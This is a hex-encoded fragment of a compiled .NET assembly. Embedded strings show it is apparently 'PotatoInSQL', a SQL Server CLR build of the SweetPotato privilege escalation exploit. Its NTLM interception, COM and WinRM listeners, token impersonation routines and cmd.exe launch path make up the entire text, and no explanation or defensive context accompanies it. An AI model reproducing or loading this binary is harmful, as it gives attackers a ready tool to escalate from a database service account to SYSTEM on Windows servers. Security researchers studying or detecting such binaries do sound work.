D2E436F6C6C656374696F6E732E4F626A6563744D6F64656C0053797374656D2E436F6D706F6E656E744D6F64656C00496D706572736F6E6174696F6E4C6576656C00536F636B65744F7074696F6E4C6576656C006F6C6533322E646C6C0061647661706933322E646C6C004B65726E656C33322E646C6C006B65726E656C33322E646C6C00736563757233322E646C6C00506F7461746F496E53514C2E646C6C00636F7265646C6C2E646C6C0075736572656E762E646C6C00506F6C6C00546F77657250726F746F636F6C00746F77657250726F746F636F6C005061727365426F6F6C00416464496D706C004953747265616D006765745F4261736553747265616D0043726561746553747265616D004F70656E53747265616D004D656D6F727953747265616D0050726F6772616D00416C6C6F63436F5461736B4D656D0053797374656D2E436F6C6C656374696F6E732E494C6973742E4974656D0053797374656D2E436F6C6C656374696F6E732E494C6973742E6765745F4974656D0053797374656D2E436F6C6C656374696F6E732E494C6973742E7365745F4974656D0052656D6F76654974656D004765744B6579466F724974656D005365744974656D00496E736572744974656D006974656D004F7065726174696E6753797374656D005472696D00437573746F6D00707073746D007070456E756D00704765744B6579466E006765745F48696464656E0068696464656E006765745F546F6B656E007365745F546F6B656E00536574546872656164546F6B656E00684578697374696E67546F6B656E0068546F6B656E00496D706572736F6E6174696F6E546F6B656E004F70656E50726F63657373546F6B656E0045787472616374546F6B656E0051756572795365637572697479436F6E74657874546F6B656E0070684E6577546F6B656E0070707374674F70656E004C697374656E007063625772697474656E007772697474656E004D696E004F726967696E4D61696E0064774F726967696E004A6F696E004C6F636B526567696F6E00556E6C6F636B526567696F6E006765745F4F5356657273696F6E006765745F56657273696F6E00756C56657273696F6E0053656375726974794964656E74696669636174696F6E00536563757269747944656C65676174696F6E0053657448616E646C65496E666F726D6174696F6E006C7050726F63657373496E666F726D6174696F6E00546F6B656E496D706572736F6E6174696F6E005365637572697479496D706572736F6E6174696F6E0053797374656D2E476C6F62616C697A6174696F6E0053797374656D2E52756E74696D652E53657269616C697A6174696F6E005365637572697479416374696F6E00616374696F6E0053797374656D2E5265666C656374696F6E0049436F6C6C656374696F6E004F7074696F6E56616C7565436F6C6C656374696F6E004D61746368436F6C6C656374696F6E0047726F7570436F6C6C656374696F6E006765745F497347656E6572696354797065446566696E6974696F6E0047657447656E6572696354797065446566696E6974696F6E00706C69624E6577506F736974696F6E006765745F4F7074696F6E007365745F4F7074696F6E00436F6D6D616E644F7074696F6E0056616C75654F7074696F6E00416374696F6E4F7074696F6E0053686F756C64577261704F7074696F6E0048656C704F7074696F6E00536574536F636B65744F7074696F6E0057696E3332457863657074696F6E00496E76616C696444617461457863657074696F6E004F626A656374446973706F736564457863657074696F6E004E6F74537570706F72746564457863657074696F6E004B65794E6F74466F756E64457863657074696F6E00417267756D656E744F75744F6652616E6765457863657074696F6E00417267756D656E744E756C6C457863657074696F6E00496E76616C69644F7065726174696F6E457863657074696F6E004F7074696F6E457863657074696F6E00696E6E6572457863657074696F6E00496E76616C6964456E756D417267756D656E74457863657074696F6E006765745F4465736372697074696F6E005772697465436F6D6D616E644465736372697074696F6E0057726974654465736372697074696F6E004765744465736372697074696F6E006465736372697074696F6E006F7074696F6E00537472696E67436F6D70617269736F6E006765745F52756E007365745F52756E004949445F49556E6B6E6F776E004D6F7665456C656D656E74546F0053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E436F7079546F0043756C74757265496E666F007041757468496E666F0053657269616C697A6174696F6E496E666F006C7053746172747570496E666F004D656D626572496E666F0070536572766572496E666F00696E666F005A65726F005377656574506F7461746F004175746F00546172676574446174615265700073657000536B6970006765745F48656C70005072696E7448656C700073686F7748656C700068656C700070747354696D655374616D70006C704465736B746F70004E657750726F6365737347726F75700066436F6E7465787452657100636D7100436C656172005265616443686172004973456F6C4368617200627200476574417574686F72697A6174696F6E4865616465720053747265616D52656164657200546578745265616465720042696E61727952656164657200686561646572003C3E335F5F7265616465720049466F726D617450726F766964657200537472696E674275696C64657200636242756666657200476574536563427566666572006C704275666665720070764275666665720053746F72616765547269676765720048616E646C657200434F4D4C697374656E65720057696E524D4C697374656E65720077696E524D4C697374656E657200636F6D4C697374656E6572005353504948656C7065720055736572006572726F72577269746572006F757457726974657200546578745772697465720042696E6172795772697465720047756964546F506F696E7465720054797065436F6E76657274657200476574436F6E7665727465720070556E6B4F75746572006F75746572004D6963726F736F66742E53716C5365727665722E536572766572006765745F4D6573736167654C6F63616C697A6572007365745F4D6573736167654C6F63616C697A6572006C6F63616C697A6572006872006765745F4D616A6F72004765744C61737457696E33324572726F72006765745F4572726F7200685374644572726F72006572726F72004C6F63616C4E65676F746961746F72006E65676F746961746F72004E616D655465726D696E61746F720049456E756D657261746F720053797374656D2E436F6C6C656374696F6E732E47656E657269632E49456E756D657261626C653C53797374656D2E537472696E673E2E476574456E756D657261746F720053797374656D2E436F6C6C656374696F6E732E49456E756D657261626C652E476574456E756D657261746F7200417267756D656E74456E756D657261746F7200437265617465577261707065644C696E65734974657261746F7200416374697661746F72002E63746F72002E6363746F72005479706544657363726970746F72006C70536563757269747944657363726970746F72004949445F49556E6B6E6F776E50747200537472756374757265546F50747200496E74507472007066436F6E74657874417474720053797374656D2E446961676E6F7374696373004164644E6573746564436F6D6D616E6473006E6573746564436F6D6D616E647300476574436F6D6D616E647300636F6D6D616E64730053797374656D2E52756E74696D652E496E7465726F7053657276696365730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300726F536F7572636573006765745F417267756D656E74536F757263657300736F757263657300446562756767696E674D6F6465730064697361626C65416C6C50726976696C656765730041646A757374546F6B656E50726976696C65676573004D617463686573004E756D456E74726965730062496E686572697448616E646C6573006765745F4E616D6573004765744E616D6573006E616D657300536574456C656D656E7454696D657300577261707065644C696E6573004765744C696E65730053797374656D2E446174612E53716C54797065730053746F72656450726F63656475726573006C7054687265616441747472696275746573006C705069706541747472696275746573006C70546F6B656E41747472696275746573006C7050726F63657373417474726962757465730046696E644E544C4D42797465730050726F636573734E544C4D427974657300526561644279746573006F626A526566427974657300537467437265617465446F6366696C654F6E494C6F636B4279746573006E746D6C4279746573006E746C6D4279746573007365634275666665724279746573004765744279746573006F75744279746573006279746573006765745F4F7074696F6E56616C7565730076616C756573005075626C696352656673007075626C69635265667300677266466C6167730064774C6F676F6E466C6167730064774372656174696F6E466C61677300677266436F6D6D6974466C616773006477466C61677300666C616773003C3E335F5F7769647468730065776964746873003C3E345F5F7468697300457175616C73006765745F4974656D730053797374656D2E436F6C6C656374696F6E732E494C6973742E436F6E7461696E730053797374656D2E546578742E526567756C617245787072657373696F6E730053797374656D2E53656375726974792E5065726D697373696F6E730053797374656D2E436F6C6C656374696F6E7300476574436F6D706C6574696F6E73004D6F6E6F2E4F7074696F6E73006765745F4F7074696F6E73007365745F4F7074696F6E7300537472696E6753706C69744F7074696F6E730057726974654F7074696F6E4465736372697074696F6E73006F7074696F6E730073657073006765745F47726F757073006765745F436861727300647758436F756E74436861727300647759436F756E7443686172730063427566666572730070427566666572730052756E74696D6548656C7065727300416464536570617261746F7273006765745F56616C7565536570617261746F72730047657456616C7565536570617261746F727300736570617261746F727300476574556E6D61727368616C436C61737300536574436C61737300647744657369726564416363657373006765745F5375636365737300446574616368656450726F63657373006850726F636573730047657443757272656E7450726F6365737300495041646472657373004E6574776F726B41646472657373006E6574776F726B41646472657373004E6573746564436F6D6D616E64536574730053797374656D2E4E65742E536F636B65747300677266537461746542697473005365745374617465426974730072676D71526573756C747300456E756D456C656D656E74730047657447656E65726963417267756D656E747300476574417267756D656E747300617267756D656E7473004765744F7074696F6E5061727473005365637572697479416E6F6E796D6F75730052656164417400577269746541740053797374656D2E436F6C6C656374696F6E732E494C6973742E52656D6F7665417400436F6E63617400466F726D617400537461740057616974466F7253696E676C654F626A65637400684F626A65637400446973636F6E6E6563744F626A656374006F626A65637400436F6E6E6563740053797374656D2E4E6574006765745F436F6D6D616E64536574007365745F436F6D6D616E64536574006765745F4F7074696F6E53657400436F6D6D616E644F7074696F6E53657400536F636B657400736F636B65740053797374656D2E436F6C6C656374696F6E732E49456E756D657261746F722E5265736574006C69624F666673657400756C4F66667365740053656375726974794F66667365740057616974006F705F496D706C696369740049734C65747465724F7244696769740053706C697400436F6D6D69740062496E68657269740063656C74007267656C74006765745F44656661756C7400494173796E63526573756C7400726573756C74007265706C6163656D656E740052656E616D65456C656D656E740044657374726F79456C656D656E7400556E69636F6465456E7669726F6E6D656E74006C70456E7669726F6E6D656E740070764765744B6579417267756D656E7400617267756D656E740053797374656D2E436F6C6C656374696F6E732E47656E657269632E49456E756D657261746F723C53797374656D2E537472696E673E2E43757272656E740053797374656D2E436F6C6C656374696F6E732E49456E756D657261746F722E43757272656E740053797374656D2E436F6C6C656374696F6E732E47656E657269632E49456E756D657261746F723C53797374656D2E537472696E673E2E6765745F43757272656E740053797374656D2E436F6C6C656374696F6E732E49456E756D657261746F722E6765745F43757272656E74003C3E325F5F63757272656E7400457874656E64656453746172747570496E666F50726573656E740072656164794576656E74004950456E64506F696E74006765745F436F756E740050726976696C656765436F756E74006765745F4D617856616C7565436F756E74006D617856616C7565436F756E7400636F756E740053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E53796E63526F6F740053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E6765745F53796E63526F6F7400416363657074004869676850617274004C6F77506172740054687265616453746172740053656E64526573756C7473537461727400436F6D6D616E6448656C70496E64656E7453746172740073746172740053797374656D2E436F6C6C656374696F6E732E494C6973742E496E736572740052657665727400436F6E7665727400536F727400706F72740070737467446573740064657374007265737400494C69737400546F4C697374006765745F4F75740068537464496E7075740070496E70757400696E70757400685374644F757470757400704F7574707574006F7574707574004D6F76654E6578740053797374656D2E54657874004F70656E546578740053747265616D696E67436F6E74657874007068436F6E746578740053716C436F6E74657874004372656174654F7074696F6E436F6E7465787400707644657374436F6E7465787400647744657374436F6E746578740070684E6577436F6E74657874004163636570745365637572697479436F6E7465787400636F6E746578740070704C6B62797400706C6B627974007070760062770053656E64526573756C7473526F77007753686F7757696E646F770073656E64726F77004475706C6963617465546F6B656E4578004765744D61727368616C53697A654D6178006765745F4F7074696F6E496E646578007365745F4F7074696F6E496E646578004765744E6578744F7074696F6E496E646578006D6178496E646578006172726179496E64657800696E646578005265676578003C3E335F5F707265666978006477436C7343747800546F42797465417272617900496E697469616C697A654172726179004475616C537472696E674172726179006475616C537472696E67417272617900546F417272617900617272617900544B6579006765745F4B6579004F70656E5375624B65790052656769737472794B6579006B6579004164647265737346616D696C79006765745F4973526561644F6E6C79004E657443726564656E7469616C734F6E6C7900496E6465784F66416E7900436F707900546F6B656E5072696D617279006765745F44696374696F6E617279007074734578706972790043617465676F72790052746C5A65726F4D656D6F7279006C7043757272656E744469726563746F7279005265676973747279006F705F457175616C697479006F705F496E657175616C69747900707374675072696F72697479005365637572697479456E74697479007365637572697479456E746974790049734E756C6C4F72456D70747900000000000D77006900640074006800730000052E002D00014145006C0065006D0065006E00740020006D0075007300740020006200650020003E003D0020007B0030007D002C00200077006100730020007B0031007D002E0000050D000A00003B4F007000740069006F006E0043006F006E0074006500780074002E004F007000740069006F006E0020006900730020006E0075006C006C002E00000B69006E0064006500780000514D0069007300730069006E0067002000720065007100750069007200650064002000760061006C0075006500200066006F00720020006F007000740069006F006E00200027007B0030007D0027002E0001052C0020000013700072006F0074006F0074007900700065000037430061006E006E006F0074002000620065002000740068006500200065006D00700074007900200073007400720069006E0067002E00001B6D0061007800560061006C007500650043006F0075006E0074000080B7430061006E006E006F0074002000700072006F00760069006400650020006D0061007800560061006C007500650043006F0075006E00740020006F00660020003000200066006F00720020004F007000740069006F006E00560061006C007500650054007900700065002E005200650071007500690072006500640020006F00720020004F007000740069006F006E00560061006C007500650054007900700065002E004F007000740069006F006E0061006C002E00007B430061006E006E006F0074002000700072006F00760069006400650020006D0061007800560061006C007500650043006F0075006E00740020006F00660020007B0030007D00200066006F00720020004F007000740069006F006E00560061006C007500650054007900700065002E004E006F006E0065002E0000053C003E00006D5400680065002000640065006600610075006C00740020006F007000740069006F006E002000680061006E0064006C0065007200200027003C003E0027002000630061006E006E006F007400200072006500710075006900720065002000760061006C007500650073002E00017943006F0075006C00640020006E006F007400200063006F006E007600650072007400200073007400720069006E006700200060007B0030007D002700200074006F002000740079007000650020007B0031007D00200066006F00720020006F007000740069006F006E00200060007B0032007D0027002E00014B45006D0070007400790020006F007000740069006F006E0020006E0061006D0065007300200061007200650020006E006F007400200073007500700070006F0072007400650064002E00005543006F006E0066006C0069006300740069006E00670020006F007000740069006F006E002000740079007000650073003A00200027007B0030007D0027002000760073002E00200027007B0031007D0027002E00018089430061006E006E006F0074002000700072006F00760069006400650020006B00650079002F00760061006C0075006500200073006500700061007200610074006F0072007300200066006F00720020004F007000740069006F006E0073002000740061006B0069006E00670020007B0030007D002000760061006C00750065002800730029002E0000033A0000033D00005F49006C006C002D0066006F0072006D006500640020006E0061006D0065002F00760061006C0075006500200073006500700061007200610074006F007200200066006F0075006E006400200069006E00200022007B0030007D0022002E00010B4000660069006C00650000495200650061006400200072006500730070006F006E00730065002000660069006C006500200066006F00720020006D006F007200650020006F007000740069006F006E0073002E000003400000154F007000740069006F006E004E0061006D00650000775E0028003F003C0066006C00610067003E002D002D007C002D007C002F00290028003F003C006E0061006D0065003E005B005E003A003D005D002B002900280028003F003C007300650070003E005B003A003D005D00290028003F003C00760061006C00750065003E002E002A00290029003F002400010D6F007000740069006F006E0000294F007000740069006F006E00200068006100730020006E006F0020006E0061006D00650073002100000D680065006100640065007200000D61006300740069006F006E00000D73006F007500720063006500001361007200670075006D0065006E007400730000052D002D00011161007200670075006D0065006E007400000966006C006100670000096E0061006D0065000007730065007000000B760061006C007500650000654500720072006F0072003A00200046006F0075006E00640020007B0030007D0020006F007000740069006F006E002000760061006C0075006500730020007700680065006E00200065007800700065006300740069006E00670020007B0031007D002E0000032D00016B430061006E006E006F0074002000750073006500200075006E00720065006700690073007400650072006500640020006F007000740069006F006E00200027007B0030007D002700200069006E002000620075006E0064006C006500200027007B0031007D0027002E00013355006E006B006E006F0077006E0020004F007000740069006F006E00560061006C007500650054007900700065003A00200000010005200020000007200020002D0001112000200020002000200020002D002D0001035B000003200000035D00004128003F003C003D0028003F003C0021005C007B0029005C007B0029005B005E007B007D005D002A0028003F003D005C007D0028003F0021005C007D0029002900000B560041004C0055004500003949006E00760061006C006900640020006F007000740069006F006E0020006400650073006300720069007000740069006F006E003A00200000037D0000193D003A0043006F006D006D0061006E0064003A003D002000000F63006F006D006D0061006E006400006943006F006D006D0061006E0064004F007000740069006F006E002E004F006E005000610072007300650043006F006D0070006C006500740065002000730068006F0075006C00640020006E006F007400200062006500200069006E0076006F006B00650064002E000009680065006C007000000B73007500690074006500000D6F0075007400700075007400000B6500720072006F007200007743006F006D006D0061006E006400200069006E007300740061006E006300650073002000630061006E0020006F006E006C007900200062006500200061006400640065006400200074006F00200061002000730069006E0067006C006500200043006F006D006D0061006E0064005300650074002E00001D6E006500730074006500640043006F006D006D0061006E006400730000033F00000B5500730065002000600000232000680065006C0070006000200066006F0072002000750073006100670065002E00000D2D002D00680065006C0070000135530068006F0077002000740068006900730020006D00650073007300610067006500200061006E00640020006500780069007400000F550073006100670065003A0020000025200043004F004D004D0041004E00440020005B004F005000540049004F004E0053005D00005D2000680065006C007000200043004F004D004D0041004E0044006000200066006F0072002000680065006C00700020006F006E0020006100200073007000650063006900660069006300200063006F006D006D0061006E0064002E00002741007600610069006C00610062006C006500200063006F006D006D0061006E00640073003A0000273A00200055006E006B006E006F0077006E00200063006F006D006D0061006E0064003A002000000F3A0020005500730065002000600000134E00650067006F007400690061007400650000414500720072006F007200200069006E002000410071007500690072006500430072006500640065006E007400690061006C007300480061006E0064006C00650000654E0054004C004D002000540079007000650032002000630061006E006E006F00740020006200650020007200650070006C0061006300650064002E00200020004E00650077002000620075006600660065007200200074006F006F002000620069006700004744006F006500730020006E006F00740020006C006F006F006B0020006C0069006B006500200061006E0020004F0042004A005200450046002000730074007200650061006D00004D7B00300030003000300030003000300030002D0030003000300030002D0030003000300030002D0043003000300030002D003000300030003000300030003000300030003000340036007D00014741007500740068006F00720069007A006100740069006F006E003A0020004E00650067006F0074006900610074006500200028003F003C006E00650067003E002E002A00290000076E00650067000080C948005400540050002F0031002E0031002000340030003100200055006E0061007500740068006F00720069007A00650064000A005700570057002D00410075007400680065006E007400690063006100740065003A0020004E00650067006F007400690061007400650020007B0030007D000A0043006F006E00740065006E0074002D004C0065006E006700740068003A00200030000A0043006F006E006E0065006300740069006F006E003A0020004B006500650070002D0041006C006900760065000A000A0001475B0021005D00200043004F004D0020004C0069007300740065006E0065007200200074006800720065006100640020006600610069006C00650064003A0020007B0030007D00001D3100320037002E0030002E0030002E0031005B007B0030007D005D0000097B0030007D000A0000494500720072006F00720020002D00200055006E006B006E006F0077006E0020004E0054004C004D0020006D00650073007300610067006500200074007900700065002E002E002E00013B53006500410073007300690067006E005000720069006D0061007200790054006F006B0065006E00500072006900760069006C0065006700650000215300650041007500640069007400500072006900760069006C006500670065000023530065004200610063006B0075007000500072006900760069006C00650067006500002F530065004300680061006E00670065004E006F007400690066007900500072006900760069006C00650067006500002F5300650043007200650061007400650047006C006F00620061006C00500072006900760069006C006500670065000033530065004300720065006100740065005000610067006500660069006C006500500072006900760069006C006500670065000035530065004300720065006100740065005000650072006D0061006E0065006E007400500072006900760069006C00650067006500003B53006500430072006500610074006500530079006D0062006F006C00690063004C0069006E006B00500072006900760069006C00650067006500002D5300650043007200650061007400650054006F006B0065006E00500072006900760069006C0065006700650000215300650044006500620075006700500072006900760069006C0065006700650000375300650045006E00610062006C006500440065006C00650067006100740069006F006E00500072006900760069006C00650067006500002D5300650049006D0070006500720073006F006E00610074006500500072006900760069006C00650067006500003F5300650049006E0063007200650061007300650042006100730065005000720069006F007200690074007900500072006900760069006C0065006700650000315300650049006E00630072006500610073006500510075006F0074006100500072006900760069006C00650067006500003B5300650049006E0063007200650061007300650057006F0072006B0069006E006700530065007400500072006900760069006C00650067006500002B530065004C006F0061006400440072006900760065007200500072006900760069006C00650067006500002B530065004C006F0063006B004D0065006D006F0072007900500072006900760069006C006500670065000033530065004D0061006300680069006E0065004100630063006F0075006E007400500072006900760069006C00650067006500002F530065004D0061006E0061006700650056006F006C0075006D006500500072006900760069006C00650067006500003F53006500500072006F00660069006C006500530069006E0067006C006500500072006F006300650073007300500072006900760069006C00650067006500002553006500520065006C006100620065006C00500072006900760069006C00650067006500003353006500520065006D006F0074006500530068007500740064006F0077006E00500072006900760069006C0065006700650000255300650052006500730074006F0072006500500072006900760069006C0065006700650000275300650053006500630075007200690074007900500072006900760069006C00650067006500002753006500530068007500740064006F0077006E00500072006900760069006C00650067006500002953006500530079006E0063004100670065006E007400500072006900760069006C00650067006500003953006500530079007300740065006D0045006E007600690072006F006E006D0065006E007400500072006900760069006C00650067006500003153006500530079007300740065006D00500072006F00660069006C006500500072006900760069006C00650067006500002B53006500530079007300740065006D00740069006D006500500072006900760069006C00650067006500003153006500540061006B0065004F0077006E00650072007300680069007000500072006900760069006C00650067006500001D53006500540063006200500072006900760069006C00650067006500002753006500540069006D0065005A006F006E006500500072006900760069006C00650067006500003F53006500540072007500730074006500640043007200650064004D0061006E00410063006300650073007300500072006900760069006C0065006700650000235300650055006E0064006F0063006B00500072006900760069006C00650067006500001D7300650063007500720069007400790045006E007400690074007900003B410064006A0075007300740054006F006B0065006E00500072006900760069006C00650067006500730020006600610069006C00650064002E0000594F00700065006E00500072006F00630065007300730054006F006B0065006E0020006600610069006C00650064002E002000430075007200720065006E007400500072006F0063006500730073003A0020007B0030007D00006B4C006F006F006B0075007000500072006900760069006C00650067006500560061006C007500650020006600610069006C00650064002E0020005300650063007500720069007400790045006E007400690074007900560061006C00750065003A0020007B0030007D0000554700720061006E006400500072006900760069006C0065006700650020006600610069006C00650064002E0020005300650063007500720069007400790045006E0074006900740079003A0020007B0030007D00005953004F004600540057004100520045005C004D006900630072006F0073006F00660074005C00570069006E0064006F007700730020004E0054005C00430075007200720065006E007400560065007200730069006F006E000013520065006C006500610073006500490064000049340039003900310044003300340042002D0038003000410031002D0034003200390031002D0038003300420036002D00330033003200380033003600360042003900300039003700013763003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E006500780065000080DD5B0021005D002000430061006E006E006F007400200070006500720066006F0072006D0020004E0054004C004D00200069006E00740065007200630065007000740069006F006E002C0020006E006500630063006500730073006100720079002000700072006900760065006C00650067006500730020006D0069007300730069006E0067002E0020002000410072006500200079006F0075002000720075006E006E0069006E006700200075006E00640065007200200061002000530065007200760069006300650020006100630063006F0075006E0074003F0000795B0021005D0020004E006F002000610075007400680065006E007400690063006100740065006400200069006E00740065007200630065007000740069006F006E00200074006F006F006B00200070006C006100630065002C0020006500780070006C006F006900740020006600610069006C006500640000615B0021005D0020004600610069006C0065006400200074006F00200069006D0070006500720073006F006E00610074006500200073006500630075007200690074007900200063006F006E007400650078007400200074006F006B0065006E00002B5B0021005D002000430072006500610074006500500069007000650020006600610069006C0065006400001F570069006E0053007400610030005C00440065006600610075006C00740000072F0063002000001322007B0030007D00220020007B0031007D00006F5B0021005D0020004600610069006C0065006400200074006F0020006300720065006100740065006400200069006D0070006500720073006F006E0061007400650064002000700072006F00630065007300730020007700690074006800200074006F006B0065006E003A002000000743003A005C0000755B0021005D0020004600610069006C0065006400200074006F0020006300720065006100740065006400200069006D0070006500720073006F006E0061007400650064002000700072006F00630065007300730020007700690074006800200075007300650072003A0020007B0030007D00200000375B0021005D0020004600610069006C0065006400200074006F0020006500780070006C006F0069007400200043004F004D003A0020000049300030003000300030003300300036002D0030003000300030002D0030003000300030002D0063003000300030002D00300030003000300030003000300030003000300034003600014D7B00300034003200630039003300390066002D0035003400630064002D0065006600640034002D0034006200620064002D003100630033006200610065003900370032003100340035007D000113680065006C006C006F002E00730074006700001B3D003A00430061007400650067006F00720079003A003D002000005F430061007400650067006F00720079002E004F006E005000610072007300650043006F006D0070006C006500740065002000730068006F0075006C00640020006E006F007400200062006500200069006E0076006F006B00650064002E00001B530065006300420075006600660065007200440065007300630000000000D8AE06B8CC02024891A17B261272319600042001010803200001052001011111042001010E04200101020615124D020E0E0320000205151251010E04200013000320001C05151245010E082000151251011300042000126106200201127508042001081C042001021C05200201081C042001011C0420011C080515127D010E0615128081010E062001011180A508151280B9020E121C08151280B9020E1234062001011180E5042001010607070115124501080707011511550102051511550102052001011300051512510108032000080600030E0E1C1C052002010E0E02060E04000102030507030808080500020808080520020E0808042001020E04200103080615128085010E052001021300072002011D130008092000151180CD01130006151180CD010E05200108130006200201081300062001130113000500020E0E1C052001130008092001011512450113000520001D13000600020E0E1D0E030701080620011D0E1D030320000E0500020E0E0E09100102081D1E001E00030A010E021D0E10070512808D12808D12808D1E00128091021E0008000112808D11814905200012808D0900020212808D12808D0620001D12808D08000112815112808D0420011C0E0700040E0E1C1C1C0C07050315128085010E080E08052001081D030607040808030306000112815D0E040001020E0420010E08072002010E1280910920020112809D1180A10420010E0E052002010E1C071512808501122007151280BD0112200920010115127D011300052002011C18040701121C06200201081301050702121C08071512816101121C08200015127D0113000615127D01121C0B20001512816502130013010815128165020E121C10070415128085010E08151180CD010E0E07200201130013010707021280AC121C07151280D10112100707021280B0121C040A011E00071512809C011E000C2003010E0E151280D1011300060A021E001E0109151280A0021E001E010D2003010E0E15122C021300130117070812140215128085010E121C1280A4151251010E0E08050002020E0E0F0703151180CD011220151245010E0207151180CD0112200607021280D50E0620011280D50E05200012816D0620011281690E0A07060E0E0E0E121C11180600030E0E0E0E0500010E1D0E0607031D0E080E0A20031D0E1D0E08118175060703121C0E0E0D070808121C0E0E0311180E11181A070915125101121C121C081238151180CD01122012201D0E08080615125101121C0520020103080307010E09070302151251010E0E0707041D0E080E080A07050E12611D0E125D0807000212811D0E0E0500001281790620010E12817D080704128099080803062001128099030620011280990E0707031280990208050002020E080C0702151245010E151245010E0A151280D101151245010E0507021D0E080500001280D907151281610112340C070315125101121C121C123807151280850112440A0702151180CD0112440207151180CD011244100703151280D1010E15128085010E123406151280D1010E0407020E080520020108080F07041280B8124415128085010E123407151281890112440B200113001512818901130025070515128085010E15124D020E0E1234151180CD01151180DD020E1234151180DD020E12340D151280E101151180DD020E12340D1512808501151180DD020E12340A200101151280E10113000D151180CD01151180DD020E123408151180DD020E123404200013012007051512808501151180DD020E12341512510112341234151180CD0112441244061512510112341307041512510112341234151180CD01124412440700040E0E0E0E0E05070111811009070312811811811409020618040001010E0807031181101D05080B07051181140912811808180507011280FD052001011D0505000012819509200201128199128195032000090520011D05080807021281011180F50620010112819904200101090420001D05052000128199030701180400011808080004011D0508180807200201021181A5062001011281A90807031D050E12811D052001081D050520010E1D0506200112811D0E0620011280D5080A07041281191281190E0E0C2003011181B11181B51181B90A2003011181BD1181C10804061281C5072002011281C508062001011281CD07200202081181D10520001281190500011D050E0500010E1D050520011D050E1307071281191281191281191D05081D05128091080003011275127508050002010E1C100705125012581280841D1180DC12809108000112808D1180F50600011C12808D0607031D0508080800020112751181E1060703081D05080A000501127508127508081C070C0E1180EC1180F0181808021281211281211281211281211280910700020212808D1C082003010E0812808D030000080900030E12817D0E1D1C0500020218180206080500001281ED0520001281F104061281F90620011281F90E040001090E050701128125082003010E1182050A072001011D12820105000012820D062001011281250600011182110E07200201081182112107130E070E0E11700202021274181181081D05081D051180F41180F80E081280910600010812808D040001081C050702091D0505000012810D0807060208080E0E0805151245010805070112808C08070602080303080E050701128090071512809C0113000806151280D1011300040A01130007151280D101130009151280A00213001301090615122C0213001301040A0113010815122C02130013010A1512808501151251010E0615122C020E0E0907050208124412340E072002020E1182150507011280B4080003080E0E118215040702030E0320000703200003050701128101042001010704200101030607021D051D050320000B0507011180F5042001010B04000101180407011D0508000401181D050808060003011C18020700021C1812808D0B0703081280A4151251010E08B77A5C561934E089040000000004010000000402000000041D0000000433000000043100000004000100000400080000020400020500020600020700020800020900020A00020B00020C00020D00020E00020F00021000021100021200021300021400021600021700021800021A00021B00021C00021F00022000022100044D454F5704FFFFFFFF04800000000402010000040800000004100000000400300000040400000008CC96EC064AD8030708AC31CE9C029D53000420000000044000000004000200000400040000040010000004002000000400400000040080000004000001000400000200040000040004000008000403000000041500000004170000000400000008043000000004000000040400001000040000200004000040000405000000040600000004070000000409000000040A000000040B000000040C000000040D000000040E000000040F0000000411000000041200000004130000000414000000041600000004180000000419000000041A000000041B000000041C000000041E000000041F00000004210000000422000000010080A42E01808453797374656D2E53656375726974792E5065726D697373696F6E732E53656375726974795065726D697373696F6E4174747269627574652C206D73636F726C69622C2056657273696F6E3D342E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D623737613563353631393334653038391B0154021653657269616C697A6174696F6E466F726D617474657201011C0115022A50032A5000032A500101020119011B070615128085010E030612140306121C03061230030612100306111803061D0E02060203061D03070615124D020E0E0806151280850112200806151280BD01122004061280C10B06151280D101151245010E030612440306123404061280D9080615128085011244030612480406128120040612811C04061181140206070306116402060904061180F504061280D003061170040612810D0306126005061F811102040612811503061D05030612580406118124060615124501080606151251010806061511550102020603040612809504061280990806151280D10112100B061512808501151251010E04061280A80706151280D1010E070615122C020E0E07061512510112340806151180CD0112440606151251010E04061280BC0E06151280E101151180DD020E123404061180C004061280C804061280C402060B04061280CC04061180D404061180D802061C04061180E404061180E804061180EC02060604061180FC04061181000406118104040611810C04061280A40A0002151245010E0E1D080D0002151245010E0E15124501080F0003081512510108081015115501020600030808080E052001011214062002011D0E08072000151251010E042001080E05200201080E08200015128085010E0420001D0E052001011230042000121C05200101121C04200012300420001210062003010E0E08072004010E0E08020420001118081001021E000E12140B0003010E0815128081010E030000010A2002020E10151245010E080001151245010E0E0A0001151245010E1280950B0002151245010E12809502082003010E0E1280910D20041280B1130013011280B51C062001011280B10920010115124D020E0E08200015124D020E0E092000151280BD0112200520010E121C052001121C0E0620020108121C05200112300E0620011230121C0B200212300E151280D1010E0C200312300E0E151280D1010E0D200412300E0E151280D1010E020B200212300E15122C020E0E0C200312300E0E15122C020E0E0D200412300E0E15122C020E0E020D30010212300E151280D1011E000E30010312300E0E151280D1011E000E30020212300E15122C021E001E010F30020312300E0E15122C021E001E010620011230122004200012140D200115128085010E151245010E072002021280A40E0E00040215128081010E121C12140E0C2005020E100E100E100E100E062002020E1214062002010E1214072003020E0E12140900040112140E0E121C062001011280D9092003011280D912340E0A2005011280D90E0E08080A2003021280D9121C1008060002081D0E08090003011280D910080E0600030E08080E0400010E0E0A0003151245010E0E08080C2000151280D101151245010E0D200101151280D101151245010E042000124405200101124408200108151245010E04200012340720030112340E02072002011244121C0B200201124415124D020E0E05200102121C0A2002010E15124D020E0E102004010E1280D91280D915124D020E0E0520001280D90520010E12340620011244123405200101123405200112440E0620011244121C0B200212440E151280D1010E0C200312440E0E151280D1010E0D200412440E0E151280D1010E020B200212440E15122C020E0E0C200312440E0E15122C020E0E0D200412440E0E15122C020E0E020D30010212440E151280D1011E000E30010312440E0E151280D1011E000E30020212440E15122C021E001E010F30020312440E0E15122C021E001E010620011244122006200112441244052001021244082001151245010E0E07000201100E100E0A2001123415128085010E0F20001512808501151180DD020E1234132003011512808501151180DD020E12340E12440A200309091D1180ED1009042000124C082004010A18081009042001010A062003010A0A0808200201101180ED080F200601101180F518091809101180F50D200601101180F51809180910090D200601125C101180F5180918090B200301125C101180F5101805200101125C0A2005010E09090910125C0A2005010E18090910125C0A2005010E0909091012580C2006010E12580918091012580B200401091D1180F5181258082004010E12580E090920040109180910124C102004010E1D1180F91D1180F91D1180F907200101101180F5052002010909082002011D1180ED09082003011D05091009072003010A09100A0A200401125C0A100A100A062003010A0A0908200201101180ED090620010110125C032000180420010118092002011180F51280D0060001181180F50800